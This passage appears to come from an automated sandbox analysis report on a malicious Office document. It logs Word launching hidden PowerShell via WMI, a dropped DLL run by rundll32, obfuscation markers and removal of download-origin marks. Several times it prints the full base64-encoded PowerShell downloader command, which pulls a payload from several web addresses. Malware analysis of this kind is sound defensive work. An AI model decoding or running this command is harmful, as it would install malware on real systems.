AnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoA
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_000007FF00270D70 pushad ; retf 5_2_000007FF00270DA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001D08D0 push edx; ret 7_2_001D09D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B39A0 push cs; ret 7_2_001B39A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B2A01 push esi; ret 7_2_001B2A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B5BD8 push ss; iretd 7_2_001B5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B5C29 push ss; iretd 7_2_001B5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B548F push ebp; retf 7_2_001B5496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B2CFB push ecx; retn 001Eh 7_2_001B2D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001B1740 push DA0FDC41h; iretd 7_2_001B1745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001B08D0 push edx; ret 8_2_001B09D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001939A0 push cs; ret 8_2_001939A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00192A01 push esi; ret 8_2_00192A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00195BD8 push ss; iretd 8_2_00195C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00195C29 push ss; iretd 8_2_00195C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0019548F push ebp; retf 8_2_00195496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00192CFB push ecx; retn 001Eh 8_2_00192D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00191740 push DA0FDC41h; iretd 8_2_00191745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_003808D0 push edx; ret 9_2_003809D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_003639A0 push cs; ret 9_2_003639A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00362A01 push esi; ret 9_2_00362A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00365BD8 push ss; iretd 9_2_00365C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00365C29 push ss; iretd 9_2_00365C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0036548F push ebp; retf 9_2_00365496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00362CFB push ecx; retn 001Eh 9_2_00362D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00361740 push DA0FDC41h; iretd 9_2_00361745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002408D0 push edx; ret 10_2_002409D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002239A0 push cs; ret 10_2_002239A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00222A01 push esi; ret 10_2_00222A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00225BD8 push ss; iretd 10_2_00225C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00225C29 push ss; iretd 10_2_00225C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022548F push ebp; retf 10_2_00225496

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
